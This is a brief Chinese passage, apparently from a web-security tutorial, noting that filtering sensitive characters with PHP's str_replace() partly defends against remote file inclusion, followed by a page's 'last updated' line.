可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。
最后更新于